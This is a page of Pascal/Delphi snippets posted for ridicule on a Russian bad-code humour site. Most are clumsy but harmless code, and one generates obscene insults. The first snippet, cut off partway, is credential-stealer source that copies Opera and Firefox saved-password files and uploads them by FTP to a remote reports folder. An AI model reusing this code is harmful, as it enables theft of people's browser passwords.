1. Pascal / Говнокод #22682

    0

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdMessageClient, IdSMTP, StdCtrls, IdFTP,ShlObj,inifiles, ExtCtrls;
    
    type
      TForm1 = class(TForm)
        IdFTP1: TIdFTP;
        procedure FormCreate(Sender: TObject);
    
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
      IniFile: TIniFile;
    implementation
    
    {$R *.dfm}
    //==============================================================================
    procedure RunOnce();
    var f:TextFile;
    begin
    AssignFile(f,'C:\Windows\complite777.log');
    Rewrite(f);
    closefile(f);
    end;
    //==============================================================================
    function GetUserName:string;
    var
      Buffer: array[0..MAX_PATH] of Char;
      sz:DWord;
    begin
    sz:=MAX_PATH-1;
    windows.GetUserName(Buffer,sz);
    dec(sz);
    SetString(Result,Buffer,sz);
    end;
    //==============================================================================
    function GetComputerName:string;
      var
        S:string;
        l:Cardinal;
    begin
        l:=256;
        SetLength(S, l);
        Windows.GetComputerName(PChar(S), l);
        S:= Copy(S, 0, l);
        Result:=S;
    end;
    //==============================================================================
    procedure upload(cd,lf,ff:String);
    begin
    form1.IdFTP1.Connect(true,50000);
    form1.IdFTP1.ChangeDir(cd);
    form1.IdFTP1.put(lf,ff);
    form1.IdFTP1.Disconnect;
    end;
    //==============================================================================
    function GetSpecialPath(CSIDL: word): string;
    var
      s:string;
    begin
    SetLength(s, MAX_PATH);
    SHGetSpecialFolderPath(0, PChar(s), CSIDL, true);
    result:=PChar(s);
    end;
    //==============================================================================
    procedure get_opp();
    var
      op:String;
    begin
    op:=GetSpecialPath($001a)+'\Opera\Opera\profile\wand.dat';
    If (not FileExists(op)) Then application.Terminate
    else
    upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',op,'wand.dat');
    end;
    //==============================================================================
    procedure get_ffp();
    var
      fp,fpg,fpg2,rpl:string;
    begin
    fp:=GetSpecialPath($001a)+'\Mozilla\Firefox\profiles.ini';
    IniFile:=TIniFile.Create(fp);
    fpg:=IniFile.ReadString('Profile0','Path','');
    rpl:=StringReplace(fpg,'/','\',[rfReplaceAll, rfIgnoreCase]);
    fp:=GetSpecialPath($001a)+'\Mozilla\Firefox\';
    fpg:=fp+rpl+'\signons3.txt';
    fpg2:=fp+rpl+'\key3.db';
    If (not FileExists(fpg)) Then get_opp()
    else
    upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',fpg,'signons3.txt');
    upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',fpg2,'key3.db');

    сколько влезло

    keeper2020, 27 Марта 2017

    Комментарии (1)
  2. Pascal / Говнокод #22677

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    const
      Pizduley:array[0..9] of string=('иди нахуй','не заебывай','отвали!','съебни в туман','заебал, сучандра!','пошел вон','хуесос, съебни','пидор ебучий!','гандон','шлюха!');
      Epitety:array[0..5] of string=('%s, чмырло лысое,','%s подойди, побазарим,','%s - опаньки,','%s, кароч, слушай сюда:','%s, золотой ты мой,','слышь, %s,');
    var
      username, epitet:string;
      i:integer;
      s:string;
    begin
      Randomize;
      i:=RandomRange(0, 10);
      username:=Trim(UpperCase(Name.text));
      if (username='') then
      begin
        MessageBox(Handle, PChar('Введите имя, в противном случае, пиздюлей будет выдан Вам!!!'), PChar('Внимание'), 48);
        Exit;
      end;
    
      epitet:=epitety[RandomRange(0, 6)];
      s:=Format(epitet ,[username]);
    
      s:=Format('%s %s ',[s, pizduley[i]]);
    
    
      messagebox(handle, pchar(S),'',64);
      end;

    father__Muldoon, 26 Марта 2017

    Комментарии (4)
  3. Pascal / Говнокод #21288

    +1383

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    program LeakMem;
    
    uses sysutils;
    
    var
       str:string;
    
    ...

    В седьмой делфе утекает память.

    voodoodal16, 28 Сентября 2016

    Комментарии (75)
  4. Pascal / Говнокод #21129

    +945

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    Program L_121;
    uses crt;
    Var N : integer;
    b,z : string;
    f1 : text;
    
    Begin
         assign(f1,'Единица измерения.txt');
         writeln('1 Соотношение конкретной единицы измерения длины');
         writeln('2 Соотношение единиц измерения длины');
         writeln('3 Обозначение единиц измерения длины');
         writeln('4 Назначение единиц измерения длины');
         read(N);clrscr;
         reset(f1);
         case N of
         
         1:begin
                write('Введите единицу измерения : ');
                read(b);clrscr;
                readln(f1,z);writeln(z);
                if b='миллиметр' then begin readln(f1,z);writeln(z); end;
                if b='сантиметр' then begin readln(f1,z);readln(f1,z);writeln(z); end;
                if b='дециметр'  then begin readln(f1,z);readln(f1,z);readln(f1,z);writeln(z);end;
                if b='метр'      then begin readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);writeln(z);end;
                if b='километр'  then begin readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);writeln(z); end;
           end;
         2:begin
                readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);
           end;
         3:begin
                readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);
                writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);
           end;
         4:begin
                readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);readln(f1,z);
                readln(f1,z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);readln(f1,z);writeln(z);
           end;
         end;
    End.

    4 года назад я так писал код)

    Genome, 07 Сентября 2016

    Комментарии (20)
  5. Pascal / Говнокод #20875

    +1870

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    function translate_a_name_of_the_winter_to_the_foreign_language(language: String): String;
      begin
        if      language = 'авестийский'    Result := 'zimō'
        else if language = 'белорусский'    Result := 'зіма'
        else if language = 'болгарский'     Result := 'зима'
        else if language = 'верхнелужицкий' Result := 'zyma'
        else if language = 'греческий'      Result := 'χειμώνας'
        else if language = 'древнепрусский' Result := 'semo'
        else if language = 'латинский'      Result := 'hiems'
        else if language = 'латышский'      Result := 'ziema'
        else if language = 'литовский'      Result := 'žiema'
        else if language = 'македонский'    Result := 'зима'
        else if language = 'нижнелужицкий'  Result := 'zyma'
        else if language = 'осетинский'     Result := 'зымӕг'
        else if language = 'польский'       Result := 'zima'
        else if language = 'русский'        Result := 'зима'
        else if language = 'санскрит'       Result := 'hima'
        else if language = 'сербский'       Result := 'зима'
        else if language = 'словацкий'      Result := 'zima'
        else if language = 'словенский'     Result := 'zima'
        else if language = 'талышский'      Result := 'зымыстон'
        else if language = 'таджикский'     Result := 'зимистон'
        else if language = 'украинский'     Result := 'зима'
        else if language = 'хорватский'     Result := 'zima'
        else if language = 'чешский'        Result := 'zima'
      end;

    Из одного очень серьёзного проекта.

    Amayak_Akopyan, 20 Августа 2016

    Комментарии (64)
  6. Pascal / Говнокод #18887

    +6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    for i:=l to h do // цикл от нижней границы массива до верхней
          case i-l of
            0 : User.ISN     := v[i];
            1 : User.DeptISN := v[i];
            2 : User.Dept0ISN:= v[i];
            3 : User.Roles   := v[i];
            4 : User.SLabel  := v[i];
            5 : User.LangISN := v[i];
            6 : User.ListDept:= v[i];
            7 : FConDM.UseLogger:=v[i]; //Риков Б. 2012
          end;

    dim1r, 19 Октября 2015

    Комментарии (86)
  7. Pascal / Говнокод #18814

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    case ((((parametr[3, 1] - parametr[1, 1]) / parametr[4, 2] = (parametr[3, 2] - parametr[1, 2]) / parametr[4, 2]) and ((parametr[3, 2] - parametr[1, 2]) / parametr[4, 2] = (parametr[3, 3] - parametr[1, 3]) / parametr[4, 3])) xor           
                ((parametr[4, 1] = 0) and (parametr[1, 1] = parametr[2, 1]) and (parametr[2, 1] = parametr[3, 1]) and ((parametr[3, 2] - parametr[1, 2]) / parametr[4, 2] = (parametr[3, 3] - parametr[1, 3]) / parametr[4, 3])) xor          
                 ((parametr[4, 2] = 0) and (parametr[1, 2] = parametr[2, 2]) and (parametr[2, 2] = parametr[3, 2]) and ((parametr[3, 1] - parametr[1, 1]) / parametr[4, 1] = (parametr[3, 3] - parametr[1, 3]) / parametr[4, 3])) xor                           
                    ((parametr[4, 3] = 0) and (parametr[1, 3] = parametr[2, 3]) and (parametr[2, 3] = parametr[3, 3]) and ((parametr[3, 1] - parametr[1, 1]) / parametr[4, 1] = (parametr[3, 2] - parametr[1, 2]) / parametr[4, 2])) xor             
                       ((parametr[4, 3] <> 0) and (parametr[4, 1] = 0) and (parametr[4, 2] = 0) and (parametr[3, 1] = parametr[2, 1]) and (parametr[3, 2] = parametr[2, 2])) xor                    
                          ((parametr[4, 2] <> 0) and (parametr[4, 1] = 0) and (parametr[4, 3] = 0) and (parametr[3, 1] = parametr[2, 1]) and (parametr[3, 3] = parametr[2, 3])) xor                       
                             ((parametr[4, 1] <> 0) and (parametr[4, 2] = 0) and (parametr[4, 3] = 0) and (parametr[3, 2] = parametr[2, 2]) and (parametr[3, 3] = parametr[2, 3])) xor                         
                                ((parametr[4, 1] = 0) and (parametr[4, 2] = 0) and (parametr[4, 3] = 0))) of true:
             writeln('Все точки лежат на одной прямой. Такой треугольник не существует.');

    Проверка треугольника в декартовой системе координат

    Meliodas, 04 Октября 2015

    Комментарии (10)
  8. Pascal / Говнокод #18756

    +5

    1. 1
    Commission:= Commission/100*StrToInt(Label8.Caption); //Вычисление комиссии

    Терминальщики :|

    Dego1n, 23 Сентября 2015

    Комментарии (8)
  9. Pascal / Говнокод #18614

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    with TfmVersionUpdate.Create(Application) do
    begin
      try
        Init;
      except
      end;
      Free;
    end;

    Такой код 100500% отработает без ошибок. Зачем вообще сообщения о них выводить...

    kiryl, 19 Августа 2015

    Комментарии (21)
  10. Pascal / Говнокод #18566

    +1000

    1. 1
    2. 2
    3. 3
    4. 4
    procedure PP.Execute;
    begin inherited;
    (Sender as TIndusImage).KOT;
    end;

    В Delphi XE, не знаю с какой версии начиная (в XE7 и XE8 точно) крупные проблемы с TGifImage, а если точнее - если быстро и много их менять, то рано или поздно вываливается тупо всё вместе с интерфейсом (100% где-то в потоках налажали), причем если быстро менять BMP, то всё ОК.

    Пришла в голову идея в потоке самому менять кадры анимации, подгружая их как BMP, и дабы затестить сработает ли вообще, начал писать тестовую прогу.

    Писал особо не заботясь ни о чем, а потом заметил вот таких индусских котов.

    KOTOM, 03 Августа 2015

    Комментарии (18)